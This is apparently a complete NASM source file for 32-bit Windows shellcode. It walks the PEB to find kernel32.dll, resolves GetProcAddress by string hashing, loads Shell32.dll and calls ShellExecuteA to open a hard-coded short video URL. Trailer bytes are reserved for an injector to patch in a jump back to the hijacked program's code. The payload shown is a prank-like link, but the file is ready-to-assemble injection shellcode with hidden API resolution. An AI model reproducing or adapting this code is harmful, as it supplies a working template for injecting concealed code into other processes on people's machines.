bits 32 section .shellcode align=1 global _shellcode global _shellcode_size _shellcode: jmp _shellcode_entry ; Calculate a 32 bit hash from a string (non-case-sensitive) ; arguments: esi = ptr to string ; ecx = bufsiz ; modifies : eax, edi ; return : 32 bit hash value in edi _calcStrHash: xor edi,edi _calcHash_loop: xor eax,eax lodsb ; read in the next byte of the name [esi] and store it in al cmp al,'a' ; some versions of Windows use lower case module names jl _calcHash_not_lowercase sub al,0x20 ; if so normalise to uppercase _calcHash_not_lowercase: ror edi,13 ; rotate right our hash value add edi,eax ; add the next byte of the name to the hash loop _calcHash_loop ret ; Get base address of kernel32.dll (alternative way through PEB) ; arguments: - ; modifies : eax, ebx ; return : base addres in eax _getModuleHandleKernel32PEB: mov eax,[fs:0x30] ; PEB mov eax,[eax+0x0c] ; PEB->Ldr mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx,eax xor ecx,ecx _getModuleHandleKernel32PEB_loop: pushad mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE) mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2 call _calcStrHash cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll' popad mov ecx,[ebx+0x10] ; get base address mov ebx,[ebx] jne _getModuleHandleKernel32PEB_loop mov eax,ecx ret _getModuleHandleKernel32PEB_fail: xor eax,eax ret ; Get Address of GetProcAddress from module export directory ; arguments: eax = kernel32 base address ; modifies : eax, ebx, ecx, edi, edx, esi ; return : eax _getAdrOfGetProcAddress: mov ebx,eax add ebx,[eax+0x3c] ; PE header mov ebx,[ebx+0x78] ; RVA export directory add ebx,eax mov esi,[ebx+0x20] ; RVA Export Number Table add esi,eax ; VA of ENT mov edx,eax ; remember kernel base xor ecx,ecx _getAdrOfGetProcAddress_loop: inc ecx lodsd ; load dword from esi into eax add eax,edx ; add kernel base pushad mov esi,eax ; string mov ecx,14 ; len('GetProcAddress') call _calcStrHash cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' (see _calcStrHash) popad jne _getAdrOfGetProcAddress_loop dec ecx mov edi,ebx mov edi,[edi+0x24] ; RVA of Export Ordinal Table add edi,edx ; VA of EOT movzx edi,word [ecx*2+edi] ; ordinal to function mov eax,ebx mov eax,[eax+0x1c] ; RVA of Export Address Table add eax,edx ; VA of EAT mov eax,[edi*4+eax] ; RVA of GetProcAddress add eax,edx ; VA of GetProcAddress ret _shellcode_entry: ; Wanna debug? ;int3 pushad ; Get Kernel32 base address from PEB call _getModuleHandleKernel32PEB ; kernel32.dll stores the base in eax sub esp, 8 ; make space for address of LoadLibraryA ; and Shell32.dll base address push eax call _getAdrOfGetProcAddress ; locate GetProcAddress by using eax (result in eax) push eax mov ebp,esp ; new stack frame ; LoadLibraryA / ShellExecuteA push 0x00000000 ; NUL termination push 0x41797261 ; 'Ayra' push 0x7262694C ; 'rbiL' push 0x64616F4C ; 'daoL' push esp ; ptr to string above (1st arg for GetProcAddress) push dword [ebp+4] ; KERNEL32.dll base address (2nd arg for GetProcAddress) call [ebp] ; GetProcAddress mov [ebp+8],eax ; LoadLibraryA in eax push 0x006C6C64 ; 'lld' push 0x2E32336C ; '.23l' push 0x6C656853 ; 'lehS' push esp ; ptr to string above (1st arg for LoadLibraryA) call [ebp+8] ; GetProcAddress mov [ebp+12],eax ; Shell32.dll in eax push 0x00000041 ; 'A' push 0x65747563 ; 'etuc' push 0x6578456C ; 'exEl' push 0x6C656853 ; 'lehS' push esp ; ptr to string above (1st arg for GetProcAddress) push dword [ebp+12] ; Shell32.dll base address (2nd arg for GetProcAddress) call [ebp] ; GetProcAddress ; ShellExecuteA address in eax ; ShellExecuteA ; URL: http://y2u.be/DLzxrzFCyOs push 0x00000073 ; 's' push 0x4F794346 ; 'OyCF' push 0x7A72787A ; 'zrxz' push 0x4C442F65 ; 'LD/e' push 0x622E7532 ; 'b.u2' push 0x792F2F3A ; 'y//:' push 0x70747468 ; 'ptth' ; 'Open' push 0x00000000 push 0x6E65706F ; Arguments for ShellExecuteA push 0x00000001 ; nShowCmd -> SW_SHOWNORMAL push esp push 0x00000000 ; lpDirectory -> NULL push 0x00000000 ; lpParameters -> NULL push esp add dword [esp], 24 ; lpFile -> address to URL push esp add dword [esp], 20 ; lpOperation -> address to 'Open' push 0x00000000 ; hwnd -> NULL call eax ; cleanup stack memory add esp,16 + 12 + 16 + 28 + 8 + 4 + 8 pop eax pop eax popad ; The following code is typically used to test the shellcode. ; If you don't plan to test it e.g. by running test_shellcode() ; you can delete the cmp, jne, ret and shellcode_noret. cmp eax, 0xDEADBEEF jne shellcode_noret ret shellcode_noret: ; The following 10 bytes represent the shellcode_trailer union (see injector.c). ; It will be overwritten by our "jump back to original code flow" instruction. db 0xFF,0xDE,0xAD,0xC0,0xDE ; insts[0] db 0x00,0x00,0x00,0x00,0x00 ; insts[1] _shellcode_size: dd $ - _shellcode